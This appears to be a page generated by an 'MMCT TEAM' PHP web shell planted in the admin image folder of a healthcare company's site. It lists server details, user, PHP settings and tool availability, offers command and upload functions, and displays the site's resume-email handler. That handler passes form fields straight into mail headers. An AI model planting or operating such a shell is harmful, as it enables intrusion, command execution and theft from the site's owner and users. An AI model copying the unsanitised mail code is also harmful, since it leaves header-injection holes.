MMCT TEAM
Server IP : 103.83.81.220  /  Your IP : 3.137.220.10
Web Server : Apache
System : Linux vps.erainfotech.co 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : nirkonhealthcare ( 1248)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/wget) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 323
OFF  |  Perl :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/perl) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 329
OFF  |  Python :
Warning: file_exists(): open_basedir restriction in effect. File(/usr/bin/python2) is not within the allowed path(s): (/home/nirkonhealthcare:/var/log/spamavoid/:/tmp/:/var/lib/php/session/) in /home/nirkonhealthcare/public_html/admin/productimages/anopas.php on line 335
OFF
Directory (0755) :  /home/nirkonhealthcare/public_html/img/bg/../../js/../admin/../js/../js/../js/../

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/nirkonhealthcare/public_html/img/bg/../../js/../admin/../js/../js/../js/../career_mail.php
<!--------------------------PHP CODE FOR SENDING FORM ON EMAIL----------------------------------------------------------->

<?php

if (isset($_POST["submit"])) {
    $upload_name = $_FILES["upload"]["name"];
    $upload_type = $_FILES["upload"]["type"];
    $upload_size = $_FILES["upload"]["size"];
    $upload_temp = $_FILES["upload"]["tmp_name"];

    $name = $_POST["name"];
    $mobile = $_POST["mobile"];
    $email = $_POST["email"];
    $query = $_POST["message"];

    $to = "ranjan@erainfotech.co.in";
    $subject = "Resume From " . $name . " " . $mobile;


    if ($name == ""  || $mobile == "" || $email == "" || $query == "") {
?>
        <script>
            $(document).ready(function(e) {
                alert("Please Fill All Fields ");
            });
        </script>

<?php
    } else {
        $fp = fopen($upload_temp, "rb");
        $file = fread($fp, $upload_size);

        $file = chunk_split(base64_encode($file));
        $num = md5(time());

        //Normal headers

        $headers  = "From: Nirkon Healthcare Pvt. Ltd. <ranjan@erainfotech.co.in>" . "\r\n";
        $headers  .= "MIME-Version: 1.0\r\n";
        $headers  .= "Content-Type: multipart/mixed; ";
        $headers  .= "boundary=" . $num . "\r\n";
        $headers  .= "--$num\r\n";

        // This two steps to help avoid spam

        // $headers .= "Message-ID: <" . gettimeofday() . " TheSystem@" . $_SERVER[''] . ">\r\n";
        // $headers .= "X-Mailer: PHP v" . phpversion() . "\r\n";

        // With message
        $message = "Full Name: " . $name . "\r\n";
        $message .= "Mobile No: " . $mobile . "\r\n";
        $message .= "Email: " . $email . "\r\n";
        $message .= "Message: " . $query . "\r\n";
        // $message .= "" . $message . "\n";
        $message .= "--" . $num . "\n";

        // Attachment headers

        $message  .= "Content-Type:" . $upload_type . " ";
        $message  .= "name=\"" . $upload_name . "\"r\n";
        $message  .= "Content-Transfer-Encoding: base64\r\n";
        $message  .= "Content-Disposition: attachment; ";
        $message  .= "filename=\"" . $upload_name . "\"\r\n\n";
        $message  .= "" . $file . "\r\n";
        $message  .= "--" . $num . "--";

        // SEND MAIL

        $result = mail($to, $subject, $message, $headers);

        fclose($fp);
        if ($result) {
            echo "<script>alert('Resume uploaded successfully.');
					window.location.href='index.php';</script>";
        } else {
            echo "<script>alert('Resume not uploaded .');
					 
					</script>";
        }
    }
}

?>

<!-----------------CLOSE PHP CODE-------------------------------------------------------------------------------------->

MMCT - 2023